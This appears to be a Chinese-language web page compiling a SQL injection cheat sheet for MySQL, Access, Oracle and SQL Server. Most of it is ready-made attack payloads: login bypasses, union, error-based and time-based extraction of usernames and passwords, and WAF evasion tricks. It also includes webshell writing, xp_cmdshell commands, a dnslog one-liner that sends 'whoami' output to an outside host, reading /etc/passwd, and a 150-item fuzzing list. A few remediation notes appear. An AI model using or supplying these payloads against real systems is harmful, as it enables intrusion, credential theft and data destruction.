如果您对应用安全-Web安全-攻击方法-SQL注入-原理|场景|方法-汇总感兴趣,那么本文将是一篇不错的选择,我们将为您详在本文中,您将会了解到关于应用安全-Web安全-攻击方法-SQL注入-原理|场
如果您对应用安全 - Web 安全 - 攻击方法 - SQL 注入 - 原理 | 场景 | 方法 - 汇总感兴趣,那么本文将是一篇不错的选择,我们将为您详在本文中,您将会了解到关于应用安全 - Web 安全 - 攻击方法 - SQL 注入 - 原理 | 场景 | 方法 - 汇总的详细内容,我们还将为您解答web应用安全攻击的设备的相关问题,并且为您提供关于ARMS 应用安全-你的应用运行时的隐形安全卫士、asp.net-web-api – 在ASP.NET Web API控制器的nunit测试中实例化新的System.Web.Http.OData.Query.ODataQueryOptions、Java Web 应用安全、JAVA WEB 快速入门之从编写一个 JSP WEB 网站了解 JSP WEB 网站的基本结构、调试、部署的有价值信息。
本文目录一览:- 应用安全 - Web 安全 - 攻击方法 - SQL 注入 - 原理 | 场景 | 方法 - 汇总(web应用安全攻击的设备)
- ARMS 应用安全-你的应用运行时的隐形安全卫士
- asp.net-web-api – 在ASP.NET Web API控制器的nunit测试中实例化新的System.Web.Http.OData.Query.ODataQueryOptions
- Java Web 应用安全
- JAVA WEB 快速入门之从编写一个 JSP WEB 网站了解 JSP WEB 网站的基本结构、调试、部署
应用安全 - Web 安全 - 攻击方法 - SQL 注入 - 原理 | 场景 | 方法 - 汇总(web应用安全攻击的设备)
asp 站点
(1)and 1=1 和 and 1=2
(2)服务器类型判断(ACCESS MSSQL)
http://URL.asp?id=24 and (select count(*) from sysobjects)>0
http://URL.asp?id=24 and (select count(*) from msysobjects)>0
(3)表名
http://URL.asp?id=24 and (select count(*) from 表名)>0
(4)列名
and (select count(列名) from 已存在表名)>0
(5)order by
问题记录
(1)
(2)
(3)
(4)安全狗
(5)
(6)
(7)
(8)
(9)
(10)
(11)有注入点但无法猜解出表名
PHP 站点
(1)and 1=1 和 and 1=2 | and 1'' =''1 和 and 1''=''2
(2)--dbs
(3)数据库类型 - UNION ALL SELECT
(一) AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b6a6271,(SELECT (ELT(4667=4667,1))),0x716a787171,0x78))s), 8446744073709551610, 8446744073709551610)))
(二)UNION%20ALL%20SELECT%20NULL,CONCAT(0x716b6a6271,0x7a74576f4d73644479557671796a616b585a745a754b4f476e4862674b6241686f4c79596858454f,0x716a787171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
问题记录
(1)
(2)
(3)
Mysql 数据库
1.注入点判断
and
(1)and 1=1 和 and 1=2
and + if
(2)and if(1,1,0) 和 and if(0,1,0)
(3)and if(null,0,true) 和 and if(nll,0,false)
and + sleep --延迟注入
(4)and sleep(3)
and + benchmark --延迟注入
(5)and BENCHMARK(10000000,ENCODE(''hello'',''mom''))
and + if + sleep --延迟注入
(6)and if(1<2,sleep(3),sleep(1))
like
(7)like 1=1 和 like 1=2
like + if + sleep
(8)like 1=if(1>2,sleep(3),1) 和 like 1=if(1>2,sleep(3),2)
like + if + sleep
(9)like 1=if(1>2,1,sleep(3)) --延迟注入 - 相当于 like 1=sleep(3) - 页面进入死循环
xor
(10) xor 0 和 xor null
xor + if
(11) xor if(1,0,1) 和 xor if(1,null,1)
or
(12) or 1=1
and + sleep + between
(13)between 1 and sleep(3) --延迟注入 - 页面进入死循环
between + and
(14)between 1 and 1 和 between 1 and 2
and + if + Mysql小数为true原则
(15)and if(0.00000000000000001,1,0) 和 and if(0.0000000000000001,0,1)
and <>
(16) and 1<>2 和 and 1<>1
and + if + <>
(17)and 1=if(1<>2,1,0) 和 and 1=if(1<>2,2,1)
xor + <>
(18) xor 1<>1 和 xor 2<>null
and + ifnull
(19)and 1=ifnull(1,0) 和 and 1=ifnull(null,2)
and + ifnull + sleep
(20) and ifnull(sleep(3),0)
xor + ifnll
(21)xor ifnull(null,null)
and + nullif
(22)and nullif(sleep(3),sleep(3)) 和 and nullif(sleep(3),sleep(2)) 和 and nullif(sleep(2),0) --相应时间一次为6s,3s,2s
xor + space
(23)xor space(1) 和 xor space(1)=null
and + space
(24) and space(1)=char(32) 和 and space(1)=2
div
(25) div 1=1 和 div 1=2
div + if
(26)div if(1,1,0) 和 div if(1,0,1)
having + if
(27) having if(1,1,0) 和 having if(1,0,1)
mod
(28) mod 2=1 和 mod 2=2
(29) mod 2 和 mod 1
mod + if
(30)mod if(1,2,0) 和 mod if(1,1,0)
like + round
(31)like round(1.2) 和 like round(0)
and + case when + sleep
(32)and CASE WHEN 1>0 THEN sleep(3) ELSE sleep(1) end
xor + case when + sleep
(33)xor case when 1>0 then sleep(3) else sleep(1) end --页面进入死循环
and + 字符串
(34) and ''ccc''=0 和 and ''ccc''=1
xor + 字符串
(35) xor ''ccc'' 和 xor null
like + elt
(36) like elt(1,1) 和 like elt(2,1)
2.猜字段
order by
3.爆数据库
union select
sqlmap 跑数据遇到 XSRF-TOKEN
使用 burp macros 绕过
SQL 注入语句 - 登录框
‘ username #username 是否过滤''
'' root #password 是否过滤''
"username: root
password: ''" 以 root 账号登录(针对对查询结果是否有值做了判断的情况)
root'' and 1=1;# 空 / 任意 以 admin 账号登录(针对对查询结果是否有值做了判断的情况)
admin'' and 1=1;# 空 / 任意 " 以空账号登录
若判定条件为 $sql 语句执行成功,而不对查询结果处理(如判定是否有值才能正确完成登录重定向)"
and 1=1;# 空 / 任意 查询语句结果为空,判断语句为:查询出的密码 = 输入的密码
and 1=1;# 空
用户名输入框中输入:’ or 1=1#,密码随便输入(mysql5.7.21中不成立:输出报错--)
'' rlike (select (case when (1=1) then 1 else 0x28 end)) and ''1''=''1'' or ''1''=''1
select @@secure_file_priv; --查看是否可以导入导出,为NUll表示不允许,为空表示允许
load data infile ''c:\\xxx\\xxx\\xxx.txt'' into table a; --mysql3.x读取方法
select * from user where id=1 and 1=2 union select 1,2,3; -- 判断表列数(这里判断是否为 3 列)
select * from user where id=1 and 1=2 union select version (),1,2; -- 判断表列数 + 版本号(这里判断是否为 3 列)
select * from user where id=1 and 1=2 union select version (),database (),2; ---- 判断表列数 + 版本号 + 数据库名(这里判断是否为 3 列)
select * from user where id=1 and 1=2 union select version (),database (),user (); ---- 判断表列数 + 版本号 + 数据库名 + 用户名(这里判断是否为 3 列)
select * from user where id=1 and 1=2 union select 1,2,schema_name from information_schema.schemata;(查询所有数据库)
select * from user where id=1 and 1=2 union select 1,2,group_concat (schema_name) from information_schema.schemata;(查询所有数据库)
select * from user where id=1 and 1=2 union select 1,2,group_concat(convert(schema_name using latin1)) from information_schema.schemata;
and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database () ---(根据库名查看表名称)
and 1=2 union select 1,2,group_concat(conver t(table_name using latin1)),4,5,6,7,8,9,
10,11,12,13,14,15 from information_schema.tables where table_schema=database () ---(根据库名查看表名称)
mysql> select column_name from information_schema.columns where table_name=0x75736572; ----(根据表名查看列名,表名为 16 进制编码,需注意此处可能出现多张同名的表)
union select 1,2,group_concat(convert(column_name using latin1)),4,5,6,7,8,9,10,
11,12,13,14,15 from information_schema.columns where table_name=0x636D735F7573 --(根据表名查看列名,表名为 16 进制编码,需注意此处可能出现多张同名的表)
and 1=2 union select 1,2,concat_ws(0x2b,userid,username,password),4,5,6,7,8,9,10,
11,12,13,14,15 from cms.cms_users --(根据库、表、列查看用户名和密码,之间用加号分隔)
and 1=2 union select 1,2,concat_ws(0x2b,userid,username,password),4,5,6,7,8,9,10,
11,12,13,14,15 from cms.cms_users --(根据库、表、列查看用户名和密码)
select table_name from information_schema.tables; --(mysql 查看数据库中的总表数目)
and (select count (*) from user_tables>0 (oracle 查看数据库中的总表数目)
select count (*) from information_schema.tables --(mysql 查看所有数据库中的表总数)
mysql> select table_schema,count (*) from information_schema.tables group by table_schema --(查询数据库中每一个库对应的表数目)
mysql> select table_name,table_schema from information_schema.tables where table
_schema=''test'';
'' union select table_name,column_name from information_schema.columns where table_schema=''dvwa'' and table_name=''users’--+
select * from (select name_const (version (),1)) a; -- 查看数据库版本
select * from (select NAME_CONST (version (),1),NAME_CONST (version (),1)) x; -- 利用数据库报错信息查看数据库版本
select+*+from+(select+NAME_CONST ((语句),1),NAME_CONST ((语句),1))+as+x)--
update web_ids set host=''www.0x50sec.org'' where id =1 aNd (SELECT 1 FROM (select count (*),concat (floor (rand (0)*2),(substring ((Select (语句)),1,62))) a from information_schema.tables group by a) b);
insert into web_ids (host) values ((select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count (*),concat (floor (rand (0)*2),(substring ((Select (语句)),1,62))) a from information_schema.tables group by a) b)));
SQL 注入登录框 - 万能密码 - ASP
''or''''='' | ''or''''=''
root'' or ''afs''<>''1sa | empty - Arbitrary
SQL 注入登录框 - 万能密码 - PHP
''or 1=1/*
or 1=1#/*
admin'' or ''a''=''a -- admin''报错 - 》 admin''''正常 -》
SQL 注入搜索框 - 数字型 - PHP
?cid=211 and 1=1 ?cid=211 and 1=2
?type=2 and (select 1 from(select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)y)%23
SQL 注入搜索框 - 数字型 - PHP -》select 被过滤 -》使用 %2b 配合 mysql 内置函数注入
http://www.xx.com/content_cygs.php?NID=240
http://www.xx.com/content_cygs.php?NID=235%2b(substring(@@version,1,1))
http://www.xx.com/content_cygs.php?NID=239%2b(substring(@@version,3,1))
http://www.xx.com/content_cygs.php?NID=234%2b(substring(@@version,5,1))
http://www.xx.com/content_cygs.php?NID=239%2bsubstring(ascii(substring(user(),1,1)),1,1)
SQL 注入搜索框 - 字符型 - PHP
php?city=zhongshan'' and 1=(case when 1=1 then 1 else(select 1 from information_schema.tables)end)and''a''=''a
php?city=zhongshan'' and 0=(case when 1=1 then 1 else(select 1 from informatino_schema.tables)end)and''a''=''a
绕过方法整理
大小写转换法 SQL:sEleCt vERsIoN();
特殊字符构造法 select `version`();
编码绕过(常见的SQL编码有unicode、HEX、URL、ascll、base64等) SQL:load_file(0x633A2F77696E646F77732F6D792E696E69)
拼凑法(利用waf的不完整性,只验证一次字符串或者过滤的字符串并不完整) SQL:selselectect verversionsion();
SQLMap+waf 拦截情况
(1)
SQL 注入 - 字段绕过 - 单引号绕过 1
局限性:(1)服务端采用GBK编码(2)数据传输时对字符进行url编码
root%d5'' or 1=1;# 空/任意
addslashes -> urldecode
<?php
$user = $_GET[''username''];
$pass = $_GET[''password''];
$con=mysqli_connect("localhost","root","root","test");
if (mysqli_connect_errno($con))
{
echo "连接 MySQL 失败: " . mysqli_connect_error();
}
$adsuser = addslashes($user);
$adsuser1 = urldecode($adsuser);
$sql="SELECT * FROM user where username=''$adsuser1''";
echo $sql;
$result = mysqli_query($con,$sql);
$arr = (mysqli_fetch_row($result));
if(is_array($arr)){
header("Location:manager.html");
}else {
echo "Please Login Again!";
header("Refresh:2;url=Login.html");
}
?>
SQL 注入 - 字段绕过 - 单引号绕过 2
root %27 and 1=1;# 空/任意
addslashes -> urldecode (配合浏览器 --浏览器会首先做一次urldecode)
<?php
$user = $_GET[''username''];
$pass = $_GET[''password''];
$con=mysqli_connect("localhost","root","root","test");
if (mysqli_connect_errno($con))
{
echo "连接 MySQL 失败: " . mysqli_connect_error();
}
$adsuser = addslashes($user);
$adsuser1 = urldecode($adsuser);
$sql="SELECT * FROM user where username=''$adsuser1''";
echo $sql;
$result = mysqli_query($con,$sql);
$arr = (mysqli_fetch_row($result));
if(is_array($arr)){
header("Location:manager.html");
}else {
echo "Please Login Again!";
header("Refresh:2;url=Login.html");
}
?>
SQL 注入 - 字段绕过 - 单引号绕过 3
root %2527 and 1=1;# 空/任意
and 一般会考虑转换为 &&
内联注释绕过: /*!1*/=/*!2*/
id=1 and/*!1=1*/
SQL 注入 - 字段绕过 - and 绕过
空格过滤转换为 %0a 、+ 或者 /**/
SQL 注入 - 字段绕过 - 空格绕过
等号转换为 like greatest between 这些在sqlmap 都有相应的tamper
SQL 注入 - 字段绕过 - 等号绕过
/**/select
SQL 注入 - 字段绕过 - select 绕过
盲注
and (select count(*) from admin) >=0 --(猜表名)
and (select count (user) from admin ) >=0 --(猜列名)
select * from user where id=3 and (select count(id) from user) > 3; --(猜列对应的行数,此处3返回正常页面表示可继续加1,直到页面不显示内容)
and (select top 1 len (列名) from 表名) >0 --(sqlserver中猜列名中的第一列对应的字符数)
and (select len (列名) from 表名 limit 1) >0 --(mysql中猜列名中的第一列字段对应的字符数)
and (select top 1asc (mid (user,1,1)) from admin) >96 ——(猜字段的Ascii值,mysql报错)
"mysql> select * from user where id=1 and ascii(substring((select id from user where id=1),1,1))=49; --(mysql猜字段的Ascii值)"
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema=''security'' and table_name regexp ''^u[a-z]'' limit 0,1);
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema=''security'' and table_name regexp ''^us[a-z]'' limit 0,1);
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema=''security'' and table_name regexp ''^em[a-z]'' limit 0,1);
select 1 from user where id regexp ''^[1-9]'' limit 6; --(列名用正则表达式表示)
select char(97) --(ascii转换为字符a)
select ascii(''a'') --(a取ascii值)
select ord(''a''); ----(a取ascii值)
select left(database(),2); ---取数据库名的前两个字符
mid
数据库名判断 mysql> select * from users where id=1 union select mid (database (),1,2),1,2; -- 根据查询列数判断数据库名称 " 关键字: union select mid database ()
绕过字段: and
"
数据库名判断(暴力猜解) "mysql> select * from users where id=1 and sleep (if ((mid (database (),1,1)=''s''),2,0
));" " 关键字:and sleep if mid database () = ''
));
绕过字段: union select
"
length
数据库名判断 mysql> select * from users where id=1 and length (database ())>7; -- 长度大于 7 判断 " 关键字: and length database () >
绕过字段: select =
"
floor
当前 user ()/database () "mysql> select * from users where id =1 and (select 1 from (select count (*),conca
t(user(),floor(rand(0)*2))x from users group by x)a);
ERROR 1062 (23000): Duplicate entry ''root@1'' for key ''<group_key>''"
updatexml "UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc
第二个参数:XPath_string (Xpath 格式的字符串) ,如果不了解 Xpath 语法,可以在网上查找教程。
第三个参数:new_value,String 格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变 XML_document 中符合 XPATH_string 的值
而我们的注入语句为:
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中的 concat () 函数是将其连成一个字符串,因此不会符合 XPATH_string 的格式,从而出现格式错误,爆出
ERROR 1105 (HY000): XPATH syntax error: '':root@localhost''"
当前 user ()/database () http://www.hackblog.cn/sql.php?id=1 and (select updatexml (1,concat (0x7e,(SELECT user ()),0x7e),1)
暴库 http://www.hackblog.cn/sql.php?id=1 and updatexml (1,concat (0x7e,(SELECT distinct concat (0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
暴表 http://www.hackblog.cn/sql.php?id=1 and updatexml (1,concat (0x7e,(SELECT distinct concat (0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容 http://www.hackblog.cn/sql.php?id=1 and mysql> select updatexml (1,concat (0x7e,(SELECT distinct concat (0x23,username,0x3a,password,0x23) from users limit 0,1),0x7e),1);
extractvalue
union 联合查询注入
爆数据库名 "mysql> select * from user where id=1 and username = ''root'' and (extractvalue (''anything'',concat (''~'',(select database ()))));
extractvalue () 能查询字符串的最大长度为 32,就是说如果我们想要的结果超过 32,就需要用 substring () 函数截取,一次查看 32 位
这里查询前 5 位示意:
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))"
爆表 http://127.0.0.1/sqli-labs-master/Less-1/?id=1'' and 1=extractvalue (1,concat (0x7e,(select group_concat (table_name) from information_schema.tables where table_schema=database ()))) --+
爆字段 http://127.0.0.1/sqli-labs-master/Less-1/?id=1'' and 1=extractvalue (1,concat (0x7e,(select group_concat (column_name) from information_schema.columns where table_name=''users''))) --+
爆值 http://127.0.0.1/sqli-labs-master/Less-1/?id=0'' union select 1,group_concat (username,0x3a,password),3 from users--+
报错型注入
爆表 http://127.0.0.1/sqli-labs-master/Less-1/?id=1'' and 1=extractvalue (1,concat (0x7e,(select group_concat (table_name) from information_schema.tables where table_schema=database ()))) --+
爆字段 "http://127.0.0.1/sqli-labs-master/Less-1/?id=1'' and 1=extractvalue (1,concat (0x7e,(select group_concat (column_name) from information_schema.columns where table_name=''users''))) --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=''users'' and column_name not in (''user_id'',''first_name'',''last_name'',''us'')))) --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=''users'' and column_name not in (''user_id'',''first_name'',''last_name'',''us'',''user'',''password'',''avatar'',''last_login'')))) --+"
爆值 "http://127.0.0.1/sqli-labs-master/Less-1/?id=1'' and 1=extractvalue (1,concat (0x7e,(select group_concat (username,0x3a,password) from users)))--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in (''Dumb'',''I-kill-you''))))--+"
geometrycollection
multipoint
polygon
multipolygon
linestring
multilinestring
exp
concat 过滤绕过(使用 make_set,lpad,repeat,reverse,export_set):
select updatexml(1,make_set(3,0x7e,(select user())),1);
select updatexml(1,lpad(''@'',30,(select user())),1);
mysql> select updatexml(1,repeat((select user()),2),1);
mysql> select updatexml(1,reverse((select user())),1);
mysql> select updatexml(1,export_set(1|2,''::'',(select user())),1);
基于时间
sleep
当前用户名判断 select if(user()=''root@'',sleep(2),null); --用户名判断 (刷新时间可以通过浏览器的开发者选项f12来看,或者使用Firefox的firebug插件,或者burpsuite等工具) "关键字: union select if user () = '' sleep
绕过字段: and
"
数据库名判断 mysql> select * from users where id=1 and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))=113,sleep(2),null); --暴力猜解当前数据库中的数据库名,此处猜解当前数据库在第四个数据库且数据库首字母的ascii是为113(q) "关键字: and if ascii substr select schema_nameinformation limit = sleep ()
绕过字段:union (select)
"
表名判断 mysql> select * from users where id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=''security'' limit 3,1),1,1))=117,sleep(2),null); --暴力猜解当前数据库security中第四张表的首字母为u "关键字:and if ascii substr select information_schema where = '' limit = sleep ()
绕过字段:union (select)
"
列名判断 "mysql> select * from users where id=1 and if(ascii(substr((select column_name f
rom information_schema.columns where table_schema=''security'' and table_name=''use
rs'' limit 0,1),1,1))=105,sleep(2),null);
Empty set (2.00 sec) --暴力猜解当前数据库security,users表第1列字段的首字母为i" "关键字:and if ascii substr select information_schema where = '' limit sleep ()
绕过字段:union (select)
"
字段值判断 "mysql> select * from users where id=1 and if(ascii(substr((select password from
security.users limit 0,1),1,1))=68,sleep(2),null); --暴力猜解当前数据库security,users,password列第一列字段的首字母为D
" "关键字:and if ascii substr select from limit = sleep ()
绕过字段:union (select)
"
数据库名称长度判断 mysql> select * from users where id=1 and sleep(if((length(database())=8),0,3)); "关键字: and sleep if length database () =
绕过字段: select
"
语言 / 框架中注入漏洞整理 - Java
jdbc:java.sql.statement(类)--可能存在
java.sql.preparedstatement --不存在(推荐使用类)
"String sql = ""select * from user_table where username=
'' ""+userName+"" '' and password='' ""+password+"" ''"";"
绕过方法:‘or 1 = 1 –
"SELECT * FROM user_table WHERE
username='''' ;DROP DATABASE (DB Name) --'' and password='''' 删除数据库 "
String sql = “select id,no from user where id=” + id;
绕过方法:1 or 1 = 1
select id,no from user where id=1 or 1=1
语言 / 框架中注入漏洞整理 - Python
python中sql存在注入情况:
"sql = ""select id, name from test where id=%d and name=''%s''"" %(id, name)
cursor.execute(sql)"
"修复:
args = (id, name)
sql = ""select id, name from test where id=%s and name=%s""
cursor.execute(sql, args)"
"sql = ""select id, name from test where id=""+ str(id) +"" and name=''""+ name +""''""
cursor.execute(sql)"
"修复:
name = MySQLdb.escape_string(name)
sql = ""select id, name from test where id=%d and name=''%s''"" %(id, name)
cursor.execute(sql)"
注入工具整理
BSQL Hacker
1.支持SQL盲注;2.可自动对Oracle和MySQL数据库进行攻击 3.自动提取数据库的数据和架构
The Mole
1.开源 2.可绕过IPS/IDS; 3.攻击范围包括SQL Server、MySQL、Postgres和Oracle
Pangolin
1.支持Access、MSSql、MySql、Oracle、Informix、DB2、Sybase、PostgreSQL、Sqlite 2.从检测注入开始到最后控制目标系统都给出了测试步骤 3.国内使用率最高的SQL注入测试的安全软件
Access 手工注入
''
1=1
1=2
猜解表名
and exists(select * from admin)
猜解列名
and exists(select admin from admin)
猜测字段内容
and (select top 1 len(admin) from admin)>n
and (select top 1 asc(mid(admin,1,1)) from admin)>c
Webshell写入
create table cmd (a varchar(50))
insert into cmd (a) values (''一句话木马'')
select * into [a] in ''e:\host\chouwazi.com\web\data\xiao.asp;xiao.xls'' ''excel 4.0;'' from cmd
drop table cmd
Oracle 注入 -- 搜索框
and (select count(*) from user_tables)=5--
and 1=2 union select 1,2,table_name,''4'',''5'',null,7,1 from user_tables
and (SELECT count(*) FROM USER_TAB_COLUMNS WHERE table_name=''XBLOUSER'' )>0
and 1=2 union select 1,2,COLUMN_NAME,''4'',''5'',null,7,1 from (select * from (SELECT
COLUMN_NAME FROM USER_TAB_COLUMNS WHERE table_name=''XBLOUSER'' order by 1 asc )
WHERE ROWNUM<=3 ORDER BY 1 DESC) WHERE ROWNUM<=1 --
Param_list:CommandName=getAppVersion) AND 9533=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(120)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (9533=9533) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(98)||CHR(122)||CHR(122)||CHR(113)||CHR(62))) FROM DUAL) AND (5159=5159
SqlServer 注入 -- 搜索框
Param_list:CommandName=getAppVersion%'' AND 7784=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (7784=7784) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(122)+CHAR(122)+CHAR(113))) AND ''%''='' (没整明白其作用,convert用法正确)
Param_list:CommandName=getAppVersion\xCF'' AND 7784=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (7784=7784) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(122)+CHAR(122)+CHAR(113))) limit 10#
Param_list:CommandName=getAppVersion\xCF'' AND 7784=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (7784=7784) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(122)+CHAR(122)+CHAR(113))) limit 10#
dnslog 注入
获取计算机名
for /F "delims=\" %i in (''whoami'') do ping -n 1 %i.xxx.dnslog.info
获取用户名
for /F "delims=\ tokens=2" %i in (''whoami'') do ping -n 1 %i.xxx.dnslog.info
Cookie 注入
直接使用Request获取参数如:SID=Request("ID"),先取Get值,再取Post值,然后取Cookie值
http://www.xxx.com/1.asp?id=123
如果我们只输 http://www.xxx.com/1.asp
时,就不能看到正常的数据,因为没有参数!
我们想知道有没有Cookies问题(也就是有没有Request("XXX")格式问题),
先用IE输入
http://www.xxx.com/1.asp
加载网页,显示不正常(没有输参数的原因)
之后在IE输入框再输入
javascript:alert(document.cookie="id="+escape("123"));
按回车,你会看到弹出一个对话框 内容是: id=123
之后,你刷新一个网页,如果正常显示,表示是用
Request("ID") 这样的格式收集数据~~~~,这种格式就可以试Cookies注入
在输入框中输入
javascript:alert(document.cookie="id="+escape("123 and 3=3"));
刷新页面,如果显示正常,可以再试下一步(如果不正常,就有可能也有过滤了)
javascript:alert(document.cookie="id="+escape("123 and 3=4"));刷新一下页面
如果不正常显示,这就表示有注入
CLRF 注入
Date
类型
(1)注入 -》 重定向 -》 跳转到恶意页面-》对用户安全按造成影响
(2)注入 -》 XSS
复现
POC | EXP
(1)http://IP:Port%0d%0aSet-Cookie:crlf=true -> 查看 Response -》如果 Set-Cookie字段存在则漏洞存在
(2)/xx/landing?ref=xxx?t=%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%3cscript%3Ealert(9)%3c%2Fscript%3e
分析
(1)CRLF原理
(2)响应包数据从 url 中取值
SSTI 注入
sqlmap.py -d mysql://root:root@127.0.0.1:3306/test --sql-shell
XFF(X-Forwarded-For)注入
X-Forwarded-for: 127.0.0.1 正常
X-Forwarded-for: 127.0.0.1’ 报错
X-Forwarded-for: 127.0.0.1'' and 1=1# 正常
X-Forwarded-for: 127.0.0.1'' and 1=2# 报错
SOAP 接口 XML 注入
异或注入
可用于判断过滤
http://xx.xx.86.145:90/index.php?id=1''^(length(''union'')=5)%23
当union被过滤时1^0 输出id=1
当union没被过滤时 1 ^ 1 输出 id=0
回显 error
referer 注入
sqlmap
Q:
A:sqlmap 开发基于 python2.5 平台,python 运行版本需小于 2.7
宽字符注入
二次注入
Fuzzing 篇
1 )%20or%20(''x''=''x
2 %20or%201=1
3 ; execute immediate ''sel'' || ''ect us'' || ''er''
4 benchmark(10000000,MD5(1))#
5 update
6 ";waitfor delay ''0:0:__TIME__''--
7 1) or pg_sleep(__TIME__)--
8 ||(elt(-3+5,bin(15),ord(10),hex(char(45))))
9 "hi"") or (""a""=""a"
10 delete
11 like
12 " or sleep(__TIME__)#
13 pg_sleep(__TIME__)--
14 *(|(objectclass=*))
15 declare @q nvarchar (200) 0x730065006c00650063 ...
16 or 0=0 #
17 insert
18 1) or sleep(__TIME__)#
19 ) or (''a''=''a
20 ; exec xp_regread
21 *|
22 @var select @var as var into temp end --
23 1)) or benchmark(10000000,MD5(1))#
24 asc
25 (||6)
26 "a"" or 3=3--"
27 " or benchmark(10000000,MD5(1))#
28 # from wapiti
29 or 0=0 --
30 1 waitfor delay ''0:0:10''--
31 or ''a''=''a
32 hi or 1=1 --"
33 or a = a
34 UNION ALL SELECT
35 ) or sleep(__TIME__)=''
36 )) or benchmark(10000000,MD5(1))#
37 hi'' or ''a''=''a
38 0
39 21 %
40 limit
41 or 1=1
42 or 2 > 1
43 ")) or benchmark(10000000,MD5(1))#
44 PRINT
45 hi'') or (''a''=''a
46 or 3=3
47 ));waitfor delay ''0:0:__TIME__''--
48 a'' waitfor delay ''0:0:10''--
49 1;(load_file(char(47,101,116,99,47,112,97,115, ...
50 or%201=1
51 1 or sleep(__TIME__)#
52 or 1=1
53 and 1 in (select var from temp)--
54 or ''7659''=''7659
55 or ''text'' = n''text''
56 --
57 or 1=1 or ''''=''
58 declare @s varchar (200) select @s = 0x73656c6 ...
59 exec xp
60 ; exec master..xp_cmdshell ''ping 172.10.1.255''--
61 3.10E+17
62 " or pg_sleep(__TIME__)--
63 x'' AND email IS NULL; --
64 &
65 admin'' or ''
66 or ''unusual'' = ''unusual''
67 //
68 truncate
69 1) or benchmark(10000000,MD5(1))#
70 \x27UNION SELECT
71 declare @s varchar(200) select @s = 0x77616974 ...
72 tz_offset
73 sqlvuln
74 "));waitfor delay ''0:0:__TIME__''--
75 ||6
76 or%201=1 --
77 %2A%28%7C%28objectclass%3D%2A%29%29
78 or a=a
79 ) union select * from information_schema.tables;
80 PRINT @@variable
81 or isNULL(1/0) /*
82 26 %
83 " or "a"="a
84 (sqlvuln)
85 x'' AND members.email IS NULL; --
86 or 1=1--
87 and 1=( if((load_file(char(110,46,101,120,11 ...
88 0x770061006900740066006F0072002000640065006C00 ...
89 %20''sleep%2050''
90 as
91 1)) or pg_sleep(__TIME__)--
92 /**/or/**/1/**/=/**/1
93 union all select @@version--
94 ,@variable
95 (sqlattempt2)
96 or (EXISTS)
97 t''exec master..xp_cmdshell ''nslookup www.googl ...
98 %20$(sleep%2050)
99 1 or benchmark(10000000,MD5(1))#
100 %20or%20''''=''
101 ||UTL_HTTP.REQUEST
102 or pg_sleep(__TIME__)--
103 hi'' or ''x''=''x'';
104 ") or sleep(__TIME__)="
105 or ''whatever'' in (''whatever'')
106 ; begin declare @var varchar(8000) set @var='' ...
107 union select 1,load_file(''/etc/passwd''),1,1,1;
108 0x77616974666F722064656C61792027303A303A313027 ...
109 exec(@s)
110 ) or pg_sleep(__TIME__)--
111 union select
112 or sleep(__TIME__)#
113 select * from information_schema.tables--
114 a'' or 1=1--
115 a'' or ''a'' = ''a
116 declare @s varchar(22) select @s =
117 or 2 between 1 and 3
118 or a=a--
119 or ''1''=''1
120 |
121 or sleep(__TIME__)=''
122 or 1 --''
123 or 0=0 #"
124 having
125 a''
126 " or isNULL(1/0) /*
127 declare @s varchar (8000) select @s = 0x73656c ...
128 â or 1=1 --
129 char%4039%41%2b%40SELECT
130 order by
131 bfilename
132 having 1=1--
133 ) or benchmark(10000000,MD5(1))#
134 or username like char(37);
135 ;waitfor delay ''0:0:__TIME__''--
136 " or 1=1--
137 x'' AND userid IS NULL; --
138 */*
139 or ''text'' > ''t''
140 (select top 1
141 or benchmark(10000000,MD5(1))#
142 ");waitfor delay ''0:0:__TIME__''--
143 a'' or 3=3--
144 -- &password=
145 group by userid having 1=1--
146 or ''''=''
147 ; exec master..xp_cmdshell
148 %20or%20x=x
149 select
150 ")) or sleep(__TIME__)="
